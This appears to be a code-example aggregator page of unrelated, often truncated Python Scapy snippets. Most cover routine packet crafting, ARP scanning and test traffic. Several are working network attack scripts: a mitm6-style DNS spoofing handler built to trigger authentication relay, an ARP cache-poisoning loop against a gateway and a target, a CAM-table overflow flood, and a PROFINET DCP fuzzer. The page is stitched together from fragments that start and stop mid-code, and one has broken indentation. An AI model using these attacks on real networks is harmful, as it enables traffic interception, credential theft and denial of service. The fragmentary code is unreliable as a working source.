        ip = p[IPv6]
        resp = Ether(dst=p.src, src=p.dst) / IPv6(
            dst=ip.src, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport)
    else:
        ip = p[IP]
        resp = Ether(dst=p.src, src=p.dst) / IP(dst=ip.src, src=ip.dst) / UDP(
            dport=ip.sport, sport=ip.dport)
    dns = p[DNS]
    # only reply to IN, and to messages that dont contain answers
    if dns.qd.qclass != 1 or dns.qr != 0:
        return
    # Make sure the requested name is in unicode here
    reqname = dns.qd.qname.decode()
    # A query
    if dns.qd.qtype == 1:
        rdata = config.selfipv4
    # AAAA query
    elif dns.qd.qtype == 28:
        rdata = config.selfaddr
    # PTR query
    elif dns.qd.qtype == 12:
        # To reply for PTR requests for our own hostname
        # comment the return statement
        return
        if reqname == config.selfptr:
            #We reply with attacker.domain
            rdata = 'attacker.%s' % config.localdomain
        else:
            return
    # SOA query
    elif dns.qd.qtype == 6 and config.relay:
        if dns.opcode == 5:
            if config.verbose or config.debug:
                print('Dynamic update found, refusing it to trigger auth')
            resp /= DNS(id=dns.id,
                        qr=1,
                        qd=dns.qd,
                        ns=dns.ns,
                        opcode=5,
                        rcode=5)
            sendp(resp, verbose=False)
        else:
            rdata = config.selfaddr
            resp /= DNS(id=dns.id,
                        qr=1,
                        qd=dns.qd,
                        nscount=1,
                        arcount=1,
                        ancount=1,
                        an=DNSRRSOA(rrname=dns.qd.qname,
                                    ttl=100,
                                    mname="%s." % config.relay,
                                    rname="mitm6",
                                    serial=1337,
                                    type=dns.qd.qtype),
                        ns=DNSRR(rrname=dns.qd.qname,
                                 ttl=100,
                                 rdata=config.relay,
                                 type=2),
                        ar=DNSRR(rrname=config.relay,
                                 type=1,
                                 rclass=1,
                                 ttl=300,
                                 rdata=config.selfipv4))
            sendp(resp, verbose=False)
            if config.verbose or config.debug:
                print('Sent SOA reply')
        return
    #Not handled
    else:
        return
    if should_spoof_dns(reqname):
        resp /= DNS(id=dns.id,
                    qr=1,
                    qd=dns.qd,
                    an=DNSRR(rrname=dns.qd.qname,
                             ttl=100,
                             rdata=rdata,
                             type=dns.qd.qtype))
        try:
            sendp(resp, iface=config.default_if, verbose=False)
        except socket.error as e:
            print('Error sending spoofed DNS')
            print(e)
            if config.debug:
                ls(resp)
        print('Sent spoofed reply for %s to %s' % (reqname, ip.src))
    else:
        if config.verbose or config.debug:
            print('Ignored query for %s from %s' % (reqname, ip.src))
Beispiel #33
0
print "Interface %s created. Configure it and use it" % ifname

# Speed optimization si Scapy does not have to parse payloads
Ether.payload_guess=[]
SNAP.payload_guess=[]

try:
    while 1:
        r = select([f,s],[],[])[0]

	# frame from /dev/net/tun
	if f in r:

	    # tuntap frame max. size is 1522 (ethernet, see RFC3580) + 4
	    buf = os.read(f,1526)
            eth_rcvd_frame=Ether(buf[4:])

	    if DEBUG:
	        os.write(1,"Received from %s\n" % ifname)
		if VERB:
		    os.write(1,"%s\n" % eth_rcvd_frame.summary())
	    
	# Prepare Dot11 frame for injection
	    dot11_sent_frame = RadioTap()/Dot11(
		type = "Data",
		FCfield = "from-DS",
		addr1 = eth_rcvd_frame.getlayer(Ether).dst,
		addr2 = BSSID)
	# It doesn't seem possible to set tuntap interface MAC address
	# when we create it, so we set source MAC here
	    if not HAS_SMAC:
Beispiel #34
0
    def render(self, eventid):
        """ render a specific eventid """

        event = self.timeline[eventid]
        pkts = []

        #get the payload
        hasPayload = False
        payload = ""
        total_payload = self.render_payload(event)
        if len(total_payload) > 0:
            hasPayload = True

        # 0-len payloads are OK, but only if no payload at beginning of render()
        # +-len payloads are OK, but dont get processed if they are zero-sized
        hasIterated = False
        while ((len(total_payload) > 0 and hasPayload == True)
               or (hasPayload == False and hasIterated == False)):
            hasIterated = True

            if (hasPayload == True):
                #we have a payload and we are using TCP; observe the MSS
                if (len(total_payload) > self.tcp_mss
                        and self.proto == Flow.PROTO_TCP):
                    payload = total_payload[:self.tcp_mss]
                    total_payload = total_payload[self.tcp_mss:]
                else:
                    payload = total_payload
                    total_payload = ""

            #figure out what the src/dst port and host are

            if (event['flow'] == Flow.FLOW_TO_SERVER):
                #preserve src/dst
                src_host = self.src_host
                src_port = int(self.src_port)
                src_mac = self.src_mac
                dst_host = self.dst_host
                dst_port = int(self.dst_port)
                dst_mac = self.dst_mac

                #use the clients seq/ack
                self.tcp_server_bytes = self.tcp_server_bytes + len(payload)
                tcp_seq = self.to_server_seq
                tcp_ack = self.to_server_ack
                logging.debug("*** Flow %s --> S:%s A:%s B:%s", self.name,
                              tcp_seq, tcp_ack, self.tcp_server_bytes)
                logging.debug("*** %s", self.timeline[eventid])

                #nooooooooooo
                if (len(payload) > 0):
                    #set tcp ack to last ack
                    tcp_ack = self.to_client_seq

            else:
                #reverse src/dst
                src_host = self.dst_host
                src_port = int(self.dst_port)
                src_mac = self.dst_mac
                dst_host = self.src_host
                dst_port = int(self.src_port)
                dst_mac = self.src_mac

                #use the servers seq/ack
                self.tcp_client_bytes = self.tcp_client_bytes + len(payload)
                tcp_seq = self.to_client_seq
                tcp_ack = self.to_client_ack
                logging.debug("*** Flow %s <-- S:%s A:%s B:%s", self.name,
                              tcp_seq, tcp_ack, self.tcp_client_bytes)
                logging.debug("*** %s", self.timeline[eventid])

                if (len(payload) > 0):
                    tcp_ack = self.to_server_seq

            pkt = None
            logging.debug("SRC host: %s", src_host)
            logging.debug("DST host: %s", dst_host)
            lyr_ip = IP(src=src_host, dst=dst_host)
            lyr_eth = Ether(src=src_mac, dst=dst_mac)
            if (self.proto == Flow.PROTO_UDP):
                #generate udp packet
                lyr_udp = UDP(sport=src_port, dport=dst_port) / payload
                pkt = lyr_eth / lyr_ip / lyr_udp
                pkts.append(pkt)
            else:
                #generate tcp packet
                logging.debug("TCP Packet")

                #handle SEQ
                if 'tcp.seq' in event['attributes']:
                    logging.debug("tcp.seq has been set manually")
                    tcp_seq = event['attributes']['tcp.seq']
                    if (type(tcp_seq) == str):
                        tcp_seq = int(tcp_seq)

                if 'tcp.ack' in event['attributes']:
                    logging.debug("tcp.ack has been set manually")
                    tcp_ack = event['attributes']['tcp.ack']
                    if (type(tcp_ack) == str):
                        tcp_ack = int(tcp_ack)

                #check for tcp flags
                if 'tcp.flags.syn' in event['attributes']:
                    flags = "S"
                elif 'tcp.flags.ack' in event['attributes']:
                    flags = 'A'
                elif 'tcp.flags.synack' in event['attributes']:
                    flags = 'SA'
                elif 'tcp.flags.rst' in event['attributes']:
                    flags = 'R'
                    #implied noack
                    event['attributes']['tcp.noack'] = True
                else:
                    flags = 'PA'

                logging.debug('Data packet with inferred flags S:%s A:%s',
                              tcp_seq, tcp_ack)
                lyr_tcp = TCP(flags=flags,
                              seq=tcp_seq,
                              ack=tcp_ack,
                              sport=src_port,
                              dport=dst_port) / payload
                pkt = lyr_eth / lyr_ip / lyr_tcp
                pkts.append(pkt)

                # if (event['flow'] == Flow.FLOW_TO_CLIENT):
                # 	#if flow is to the client, don't increment the PSH ACK, increment the following ack..
                #     #increment the SEQ based on payload size
                #     self.tcp_seq = self.tcp_ack
                #     self.tck_ack = self.tcp_ack + len(payload)

                logging.debug("Payload size is: %s" % len(payload))
                logging.debug("tcp_seq is %s" % tcp_seq)
                logging.debug("tcp_ack is %s" % tcp_ack)
                payload_size = len(payload)

                logging.debug("Moving to ACKnowledgement stage")

                #send an ACK
                if (event['flow'] == Flow.FLOW_TO_CLIENT):
                    logging.debug('SERVER requires ACK: Flow is TO_CLIENT')
                    #flow is SERVER -> CLIENT. Use SERVERs TCP SEQ #s
                    logging.debug("self.to_client_seq %s" % self.to_client_seq)
                    logging.debug("self.to_client_ack %s" % self.to_client_ack)
                    logging.debug("len payload %s" % len(payload))

                    tcp_seq = tcp_ack
                    tcp_ack = self.to_client_seq + len(payload)

                    self.to_client_ack = self.to_client_seq + len(payload)
                    self.to_client_seq = self.to_client_ack

                    #trying to fix this:
                    #tcp_ack = self.to_client_seq + len(payload)
                    #tcp_seq = self.to_client_ack

                    #self.to_client_ack = self.to_client_seq + len(payload)
                    #self.to_client_seq = self.to_client_ack

                    #previously commented out
                    #self.tcp_server_bytes = self.tcp_server_bytes + len(payload)
                    #self.to_server_ack = self.to_server_seq + len(payload)
                    #tcp_seq = self.to_server_ack
                    #tcp_seq = self.to_client_seq #None
                    #tcp_ack = self.to_client_ack
                else:
                    logging.debug('CLIENT requires ACK: Flow is TO_SERVER')
                    #self.tcp_client_bytes = self.tcp_client_bytes + len(payload)

                    tmp_ack = self.to_server_seq
                    tmp_seq = self.to_server_ack

                    #tcp_ack = self.to_server_seq #None
                    #tcp_seq = self.to_server_ack    #reversed
                    tcp_seq = tcp_ack
                    tcp_ack = tmp_ack + payload_size

                    self.to_server_ack = self.to_server_seq + payload_size
                    self.to_server_seq = self.to_server_ack

                if 'tcp.noack' not in event['attributes']:
                    logging.debug('INFERRED ACK: S:%s A:%s', tcp_seq, tcp_ack)
                    lyr_eth = Ether(src=dst_mac, dst=src_mac)
                    lyr_ip = IP(src=dst_host, dst=src_host)
                    lyr_tcp = TCP(sport=dst_port,
                                  dport=src_port,
                                  flags='A',
                                  seq=tcp_seq,
                                  ack=tcp_ack)
                    pkt = lyr_eth / lyr_ip / lyr_tcp
                    pkts.append(pkt)

        logging.debug("*** End Render Flow")

        logging.debug("**Flow State Table **")
        logging.debug("to_server S: %s A: %s", self.to_server_seq,
                      self.to_server_ack)
        logging.debug("to_client S: %s A: %s", self.to_client_seq,
                      self.to_client_ack)
        logging.debug("*********************\n\n")

        #print hexdump(pkt)
        return pkts
Beispiel #35
0
 def get_cbr0_ip_mac(self):
     config = get_config()
     res = srp1(Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(),
                verbose=0,
                timeout=config.network_timeout)
     return res[IP].src, res.src
Beispiel #36
0
def main():
    """Send and receive IPsec packet."""
    args = TrafficScriptArg([
        'src_mac', 'dst_mac', 'src_ip', 'dst_ip', 'crypto_alg', 'crypto_key',
        'integ_alg', 'integ_key', 'l_spi', 'r_spi'
    ], ['src_tun', 'dst_tun'])

    rxq = RxQueue(args.get_arg('rx_if'))
    txq = TxQueue(args.get_arg('tx_if'))

    src_mac = args.get_arg('src_mac')
    dst_mac = args.get_arg('dst_mac')
    src_ip = args.get_arg('src_ip')
    dst_ip = args.get_arg('dst_ip')
    crypto_alg = args.get_arg('crypto_alg')
    crypto_key = args.get_arg('crypto_key')
    integ_alg = args.get_arg('integ_alg')
    integ_key = args.get_arg('integ_key')
    l_spi = int(args.get_arg('l_spi'))
    r_spi = int(args.get_arg('r_spi'))
    src_tun = args.get_arg('src_tun')
    dst_tun = args.get_arg('dst_tun')

    is_ipv4 = True
    if 6 == ip_address(unicode(src_ip)).version:
        is_ipv4 = False

    tunnel_out = None
    tunnel_in = None

    if src_tun and dst_tun:
        if is_ipv4:
            tunnel_out = IP(src=src_tun, dst=dst_tun)
            tunnel_in = IP(src=dst_tun, dst=src_tun)
        else:
            tunnel_out = IPv6(src=src_tun, dst=dst_tun)
            tunnel_in = IPv6(src=dst_tun, dst=src_tun)
    else:
        src_tun = src_ip
        dst_tun = dst_ip

    sa_in = SecurityAssociation(ESP,
                                spi=r_spi,
                                crypt_algo=crypto_alg,
                                crypt_key=crypto_key,
                                auth_algo=integ_alg,
                                auth_key=integ_key,
                                tunnel_header=tunnel_in)

    sa_out = SecurityAssociation(ESP,
                                 spi=l_spi,
                                 crypt_algo=crypto_alg,
                                 crypt_key=crypto_key,
                                 auth_algo=integ_alg,
                                 auth_key=integ_key,
                                 tunnel_header=tunnel_out)

    sent_packets = []

    if is_ipv4:
        ip_pkt = IP(src=src_ip, dst=dst_ip) / \
                 ICMP()
        ip_pkt = IP(str(ip_pkt))
    else:
        ip_pkt = IPv6(src=src_ip, dst=dst_ip) / \
                 ICMPv6EchoRequest()
        ip_pkt = IPv6(str(ip_pkt))

    e_pkt = sa_out.encrypt(ip_pkt)
    pkt_send = Ether(src=src_mac, dst=dst_mac) / \
               e_pkt

    sent_packets.append(pkt_send)
    txq.send(pkt_send)

    pkt_recv = rxq.recv(2, sent_packets)

    if pkt_recv is None:
        raise RuntimeError('ESP packet Rx timeout')

    if is_ipv4:
        check_ipv4(pkt_recv, src_tun, dst_ip, src_ip, sa_in)
    else:
        check_ipv6(pkt_recv, src_tun, dst_ip, src_ip, sa_in)

    sys.exit(0)
def get_mac(ip):
    #Returns true mac address of ip
    #Throws IndexError if blocked
    p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=ip)
    result = srp(p, timeout=3, verbose=False)[0]
    return result[0][1].hwsrc
Beispiel #38
0
def main():
    args = TrafficScriptArg(['src_mac', 'dst_mac', 'src_ip', 'dst_ip'])

    rxq = RxQueue(args.get_arg('rx_if'))
    txq = TxQueue(args.get_arg('tx_if'))

    src_mac = args.get_arg('src_mac')
    dst_mac = args.get_arg('dst_mac')
    src_ip = args.get_arg('src_ip')
    dst_ip = args.get_arg('dst_ip')

    sent_packets = []

    # send ICMPv6 neighbor solicitation message
    pkt_send = (Ether(src=src_mac, dst='ff:ff:ff:ff:ff:ff') /
                IPv6(src=src_ip, dst='ff02::1:ff00:2') /
                ICMPv6ND_NS(tgt=dst_ip) / ICMPv6NDOptSrcLLAddr(lladdr=src_mac))
    sent_packets.append(pkt_send)
    txq.send(pkt_send)

    # receive ICMPv6 neighbor advertisement message
    ether = rxq.recv(2, sent_packets)
    if ether is None:
        raise RuntimeError('ICMPv6 echo reply Rx timeout')

    if not ether.haslayer(IPv6):
        raise RuntimeError(
            'Unexpected packet with no IPv6 received {0}'.format(
                ether.__repr__()))

    ipv6 = ether['IPv6']

    if not ipv6.haslayer(ICMPv6ND_NA):
        raise RuntimeError(
            'Unexpected packet with no ICMPv6 ND-NA received {0}'.format(
                ipv6.__repr__()))

    icmpv6_na = ipv6['ICMPv6 Neighbor Discovery - Neighbor Advertisement']

    # verify target address
    if icmpv6_na.tgt != dst_ip:
        raise RuntimeError('Invalid target address {0} should be {1}'.format(
            icmpv6_na.tgt, dst_ip))

    if not icmpv6_na.haslayer(ICMPv6NDOptDstLLAddr):
        raise RuntimeError(
            'Missing Destination Link-Layer Address option in ICMPv6 ' +
            'Neighbor Advertisement {0}'.format(icmpv6_na.__repr__()))

    option = 'ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address'
    dst_ll_addr = icmpv6_na[option]

    # verify destination link-layer address field
    if dst_ll_addr.lladdr != dst_mac:
        raise RuntimeError('Invalid lladdr {0} should be {1}'.format(
            dst_ll_addr.lladdr, dst_mac))

    # verify checksum
    cksum = icmpv6_na.cksum
    del icmpv6_na.cksum
    tmp = ICMPv6ND_NA(str(icmpv6_na))
    if not checksum_equal(tmp.cksum, cksum):
        raise RuntimeError('Invalid checksum {0} should be {1}'.format(
            cksum, tmp.cksum))

    sys.exit(0)
Beispiel #39
0
# Load specific modules from scapy
try:
    from scapy.all import srp,Ether,ARP,conf,get_if_hwaddr
except:
    print "please install scapy (correctly) first"
    exit(1)

# Use valid hwaddr, even if the NIC is not up
macaddress=get_if_hwaddr(sys.argv[2])

# Set to False if you would like to only have the "CSV" output to console
debug = True
# Select output type to console
if debug:
    conf.verb=4
else:
    conf.verb=0

# Send to Ether.dst broadcast, from our MAC (both Ether.src and ARP.hwsrc), 
# to ARP.hwdst broadcast from IP ARP.psrc 0.0.0.0
# looking from all IP's in given range
ans,unans=srp(Ether(src=macaddress,dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=macaddress,hwdst="00:00:00:00:00:00",psrc="0.0.0.0",pdst=sys.argv[1]),
              timeout=2,iface=str(sys.argv[2]),inter=0.1)

# Output MAC and IP addresses from answers seen
print "MAC,IP"
for snd,rcv in ans:
    print rcv.sprintf("%Ether.src%,%ARP.psrc%")

Beispiel #40
0
def create_file():
    """Create a file with random trace data."""
    # open file
    f = open('random.file', 'wb')

    # accumulate number of bytes written to file
    size = 0

    for i in range(N_PKTS):
        # generate ethernet frame with random payload
        pkt = Ether(src="53:00:00:00:00:01", dst="53:00:00:00:00:02")
        pkt /= ''.join(
            chr(random.randint(0, 127))
            for _ in range(random.randint(50, 100)))

        # determine wire length and a random snap length (at least 14 bytes so
        # ethernet header is included)
        meta_len_wire = len(pkt)
        meta_len_snap = random.randint(14, len(pkt))

        # determine a random inter-packet time in cycles
        meta_delta_t = random.randint(0, 2**32 - 1)

        # assemble meta data word
        meta = meta_delta_t
        meta |= meta_len_snap << 32
        meta |= meta_len_wire << 48

        # write meta data word to file (aligned to 8 byte)
        f.write(meta.to_bytes(8, byteorder='little'))
        size += 8

        # calculate how many 8 byte data words we need to store the snap data
        if meta_len_snap % 8 == 0:
            n = int(meta_len_snap / 8)
        else:
            n = int(meta_len_snap / 8) + 1

        # convert packet to bytes
        pkt = bytes(pkt)

        # write snap data (aligned to 8 byte boundary)
        for i in range(n):
            data_len = min(8, len(pkt))
            data_len = min(data_len, meta_len_snap - i * 8)
            data = pkt[0:data_len]
            pkt = pkt[data_len:]
            while data_len < 8:
                data += b'\x00'
                data_len += 1
            f.write(data)
            size += 8

    # file size must be a multiple of 64 byte. if file size is not multiple
    # of 64 bytes, we must append an 8 byte data word where all bits are
    # set to one (this signals the end of trace data). if more 8 byte words
    # need to be appended to reach 64 byte alignment, their value can be
    # arbitrarily selected
    if size % 64 != 0:
        f.write((2**64 - 1).to_bytes(8, byteorder='little'))
        size += 8

    while size % 64 != 0:
        f.write(b'\x00')
        size += 1

    # close file
    f.close()
Beispiel #41
0
"""
A very basic script to send a DHCP Discover message. 
Capture the packages to see what's wrong.
"""
import scapy
from scapy.sendrecv import sendp, sniff
from scapy.all import DHCP, ARP, BOOTP, Ether, UDP, TCP, IP

# data link layer
ethernet = Ether()
ethernet.show()
ethernet.dst = "ff:ff:ff:ff:ff:ff"

# network layer
ip = IP()
ip.show()
ip.dst = "255.255.255.255"

# transport layer
udp = UDP()
udp.show()
udp.sport = 68
udp.dport = 67

# application layer
bootp = BOOTP()
bootp.show()
bootp.flags = 1

dhcp = DHCP()
dhcp.show()
Beispiel #42
0
 def _get_mac_address(self, ip):
     arpbroadcast = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=ip)
     received = srp(arpbroadcast, timeout=3)
     return received[0][0][1].hwsrc
Beispiel #43
0
# Copyright (c) 2014 Robert Clipsham <*****@*****.**>
#
# Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
# http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
# <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
# option. This file may not be copied, modified, or distributed
# except according to those terms.

import sys
from scapy.all import Ether, IP, UDP, Padding, sendp

iface = sys.argv[1]
dst = sys.argv[2]

ether = Ether(dst = dst, type = 0x0800)
ip = IP(ttl = 4, proto = 17, src = '127.0.0.1', dst = '127.0.0.1')
udp = UDP(sport = 1234, dport = 1234)

# pad to 64 bytes
pad = Padding(load = '\0' * 17)

sendp(ether / ip / udp / "pymsg" / pad, iface = iface, loop=1)
Beispiel #44
0
def make_packet(srcip, payload):
  ether = Ether(dst=get_if_hwaddr(dst_if))
  ip = IP(src=srcip, dst='10.10.0.200')
  udp = UDP(sport=6789, dport=1234)
  pkt = ether / ip / udp / payload
  return pkt
Beispiel #45
0
import json
from scapy.all import srp, Ether, ARP, conf

try:
    interface = raw_input("[*] Enter Interface: ")
    ips = raw_input("[*] Enter IP Range: ")

except KeyboardInterrupt:
    print "\n [!] Shutdown"
    sys.exit(1)

print "\n[+] Scanning ..."
start_time = datetime.now()

conf.verb = 0
ans, uans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ips),
                timeout=2,
                iface=interface,
                inter=0.1)

macs = []

for snd, rcv in ans:
    mac = []
    mac.append(rcv.sprintf(r"%Ether.src%"))
    mac.append(rcv.sprintf(r"%ARP.psrc%"))
    macs.append(mac)
    #print rcv.sprintf(r"%Ether.src% - %ARP.psrc%")

for mac in macs:
    api_mac = mac[0].replace(":", "-")
def get_mac(ip_addr):
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_addr),
                 timeout=3,
                 verbose=0)
    if ans:
        return ans[0][1].src
Beispiel #47
0
    parser.add_argument('-v', type=str, help="Specify using (4)IPv4/(6)IPv6.")
    parser.add_argument('--ip', type=str, help="The destination IP address.")
    parser.add_argument('--msg', type=str, help="The message which will send to dst.",default="Hello World")
	parser.add_argument('--sip_callee', type=str, help="[SIP] Callee Name.", default="bob")
	parser.add_argument('--sip_caller', type=str, help="[SIP] Caller Name", default="kevin")
	parser.add_argument('--sip_callid', type=str, help="[SIP] CallID", default="1234567891")

    args = parser.parse_args()

    addr = socket.gethostbyname(args.ip)
    iface = get_if()

    # start to pack
    if args.v is "4":
        print "sending on interface {} to IP addr {}".format(iface, str(addr))
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        pkt = pkt / IP(dst=addr) / TCP(dport=1234, sport=random.randint(49152,65535)) / args.msg
        # show
        pkt.show2()
        # send 
        sendp(pkt, iface=iface, verbose=False)
    elif args.v is "6":
        print "sending on interface {} to IPv6 addr {}".format(iface, str(addr))
        pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
        pkt = pkt / IPv6(dst=addr) / TCP(dport=1234, sport=random.randint(49152,65535)) / args.msg
        # show
        pkt.show2()
        # send 
        sendp(pkt, iface=iface, verbose=False)
	elif args.v is "sip-reg":
		# SIP Register
Beispiel #48
0
    def __iter__(self):
        return self

    def next(self):
        if self.num_pkts <= 0:
            raise StopIteration
        self.num_pkts -= 1
        if self.current == self.bsize:
            self.current = 1
            return random.randint(self.imin, self.imax)
        else:
            self.current += 1
            return self.bdelay


pkt = Ether() / IP(dst='10.0.0.1', ttl=64) / TCP()

port_map = {1: "veth3", 2: "veth5", 3: "veth7"}

iface_map = {}
for p, i in port_map.items():
    iface_map[i] = p

queue.add_iface("veth3")
queue.add_iface("veth5")

for p, iface in port_map.items():
    t = SnifferThread(iface)
    t.daemon = True
    t.start()
Beispiel #49
0
import sys
if len(sys.argv) != 2:
    print("Usage:arpPing<IP>\n eg: arpPing 192.168.31.48")
    sys.exit(1)
from scapy.all import srp, Ether, ARP

ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=sys.argv[1]),
                 timeout=2)
for snd, rcv in ans:
    print("Target is alive")
    print(rcv.sprintf("%Ether.src% - %ARP.psrc%"))
Beispiel #50
0
# Cyclops is intended for accademic purpose and it is not justified to be used for malicious intent.
# Using cyclops in public will be easily detected by the network administrator and pin-pointed to you.
#
#
# Author : Fadhli Zakiy
# Web    : https://fadhlizakiy.com/
# 2021-02-24

# Loading library
from scapy.all import ARP, IP, Ether, srp, arping, conf as scapyConf, send as sendPacket
from flask import Flask, jsonify, request
from flask_cors import CORS, cross_origin

# get your own IP, Mac and Gateway
myIP = IP().src
myMac = Ether().src
gateIP = scapyConf.route.route("0.0.0.0")[2]

# initialize flask and CORS to enable cross domain request
app = Flask(__name__)
CORS(app, support_credentials=True)

# restore state
restoreState = 1


# GET /
# binding home
@app.route('/')
def hello_world():
    return "Test flask"
Beispiel #51
0
# Bharath(github.com/yamakira)
# Matt Kijowski(github.com/mkijowski)

# Perform CAM overflow attack on tap0 interface


#!/usr/bin/env python
from scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp

# initializing packet_list to hold all the packets
packet_list  = []

# generate a bunch of random mac addresses and IP addresses
for i in xrange(1,10000):
   packet  = Ether(src = RandMAC(),dst= RandMAC())/IP(src=RandIP(),dst=RandIP())
   packet_list.append(packet)


# send our bad packets on tap0
sendp(packet_list, iface='tap0')
Beispiel #52
0
print "Interface %s created. Configure it and use it" % ifname

# Speed optimization si Scapy does not have to parse payloads
Ether.payload_guess = []
SNAP.payload_guess = []

try:
    while 1:
        r = select([f, s], [], [])[0]

        # frame from /dev/net/tun
        if f in r:

            # tuntap frame max. size is 1522 (ethernet, see RFC3580) + 4
            buf = os.read(f, 1526)
            eth_rcvd_frame = Ether(buf[4:])

            if DEBUG:
                os.write(1, "Received from %s\n" % ifname)
                if VERB:
                    os.write(1, "%s\n" % eth_rcvd_frame.summary())

# Prepare Dot11 frame for injection
            dot11_sent_frame = RadioTap() / Dot11(
                type="Data",
                FCfield="from-DS",
                addr1=eth_rcvd_frame.getlayer(Ether).dst,
                addr2=BSSID)
            # It doesn't seem possible to set tuntap interface MAC address
            # when we create it, so we set source MAC here
            if not HAS_SMAC:
Beispiel #53
0
 p = None
 try:
     block_len = 0 # 0 - random len
     if packet_with_00 and not p:
         packet_with_00 = 0
         p = DCPSetPacket(option, suboption, block_len=block_len, check='00')
     elif packet_with_ff and not p:
         packet_with_ff = 0
         p = DCPSetPacket(option, suboption, block_len=block_len, check='ff')
     else:
         p = DCPSetPacket(option, suboption, block_len=block_len)
     p.prepare_packet()
   
     payload = p.get_full_hex_payload()
     fh_log.write("request : %s\n" % payload)
     pp = Ether(type=0x8892, src=src_mac, dst=dst_mac)/payload.decode('hex')
     ans, unans = srp(pp, timeout=cfg_sniff_time)
     response = 'NO RESPONSE'
     answer_code = -1
     if ans:
         response = hexlify(ans[0][1].load)
         answer_code = int(response[36:38])
     else:
         fh_err.write("%s\nresponse: %s\n" % (info_text, str(ans)))
     fh_log.write("response: %s\n" % response)
     if answer_code != -1:
         answer_text = dcp_answers.has_key(answer_code) and dcp_answers[answer_code] or 'answer unknown'
         fh_log.write("answer code: %02x, text: %s\n" % (answer_code, answer_text))
 except:
     fh_log.write("error: %s\n" % str(sys.exc_info()))
 fh_log.write('\n')
Beispiel #54
0
from scapy.all import ARP, Ether, sendp
import sys
import time

gatewayIP = sys.argv[1]
targetIP = sys.argv[2]
gatewayMAC = sys.argv[3]
targetMAC = sys.argv[4]
mode = sys.argv[5]

# mode = 0 means start attack, mode = 1 means stop attack
if mode == "0":
    while (1):
        # scapy will automatically set src of the Ether layer to be our MAC address
        sendp(Ether(dst=gatewayMAC)/ARP(psrc=targetIP, pdst=gatewayIP))
        sendp(Ether(dst=targetMAC)/ARP(psrc=gatewayIP, pdst=targetIP))
        time.sleep(1)
else:
    for i in range(5):
        sendp(Ether(dst=gatewayMAC, src=targetMAC)/ARP(psrc=targetIP, pdst=gatewayIP))
        sendp(Ether(dst=targetMAC, src=gatewayMAC)/ARP(psrc=gatewayIP, pdst=targetIP))
from scapy.all import Ether, ARP, srp

if __name__ == "__main__":
    broadcast = "FF:FF:FF:FF:FF:FF"
    ether_layer = Ether(dst=broadcast)
    ip_range = "192.168.74.1/24"
    arp_layer = ARP(pdst=ip_range)

    packet = ether_layer / arp_layer

    ans, unans = srp(packet, iface="eth0", timeout=2)

    for snd, rcv in ans:
        ip = rcv[ARP].psrc
        mac = rcv[Ether].src
        print("IP = ", ip, " MAC = ", mac)
import time

from scapy.all import sendp, ARP, Ether

iface = 'en0'

target_ip = '192.168.2.220'
fake_ip = '192.168.1.41'

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op='is-at')

packet = ethernet / arp

while True:
    sendp(packet, iface=iface)
    # time.sleep(1)
Beispiel #57
0
#*** Must have 7 parameters passed to it (first parameter is script)
assert len(sys.argv) == 8

#*** Get parameters from command line
SRC_MAC = sys.argv[1]
DST_MAC = sys.argv[2]
SRC_IP = sys.argv[3]
DST_IP = sys.argv[4]
IF_NAME = sys.argv[5]
REPEAT_INTERVAL = float(sys.argv[6])
REPEAT_COUNT = int(sys.argv[7])

data = "blahblahblah"
# define ip and icmp
eth = Ether()
eth.src=SRC_MAC
eth.dst=DST_MAC
ip = IP()
ip.src = SRC_IP
ip.dst = DST_IP
icmp = ICMP()
icmp.type = 8
icmp.code = 0

finished = 0
count = 0
while not finished:
    sendp(eth/ip/icmp/data, iface=IF_NAME)
    time.sleep(REPEAT_INTERVAL)
    count += 1
Beispiel #58
0
def main():
    """Send VxLAN-GPE+NSH packet from TG to DUT.

    :raises: If the IP address is invalid.
    """
    args = TrafficScriptArg([
        'src_mac', 'dst_mac', 'src_ip', 'dst_ip', 'timeout', 'framesize',
        'testtype'
    ])

    src_mac = args.get_arg('src_mac')
    dst_mac = args.get_arg('dst_mac')
    src_ip = args.get_arg('src_ip')
    dst_ip = args.get_arg('dst_ip')
    tx_if = args.get_arg('tx_if')
    rx_if = args.get_arg('rx_if')
    timeout = int(args.get_arg('timeout'))
    frame_size = int(args.get_arg('framesize'))
    test_type = args.get_arg('testtype')

    rxq = RxQueue(rx_if)
    txq = TxQueue(tx_if)
    sent_packets = []

    protocol = TCP
    source_port = sfccon.DEF_SRC_PORT
    destination_port = sfccon.DEF_DST_PORT

    ip_version = None
    if valid_ipv4(src_ip) and valid_ipv4(dst_ip):
        ip_version = IP
    elif valid_ipv6(src_ip) and valid_ipv6(dst_ip):
        ip_version = IPv6
    else:
        raise ValueError("Invalid IP version!")

    innerpkt = (Ether(src=src_mac, dst=dst_mac) /
                ip_version(src=src_ip, dst=dst_ip) /
                protocol(sport=int(source_port), dport=int(destination_port)))

    vxlangpe_nsh = '\x0c\x00\x00\x04\x00\x00\x09\x00\x00\x06' \
                   '\x01\x03\x00\x00\xb9\xff\xC0\xA8\x32\x4B' \
                   '\x00\x00\x00\x09\xC0\xA8\x32\x48\x03\x00\x12\xB5'

    raw_data = vxlangpe_nsh + str(innerpkt)

    pkt_header = (Ether(src=src_mac, dst=dst_mac) /
                  ip_version(src=src_ip, dst=dst_ip) /
                  UDP(sport=int(source_port), dport=4790) / Raw(load=raw_data))

    fsize_no_fcs = frame_size - 4
    pad_len = max(0, fsize_no_fcs - len(pkt_header))
    pad_data = "A" * pad_len

    pkt_raw = pkt_header / Raw(load=pad_data)

    # Send created packet on one interface and receive on the other
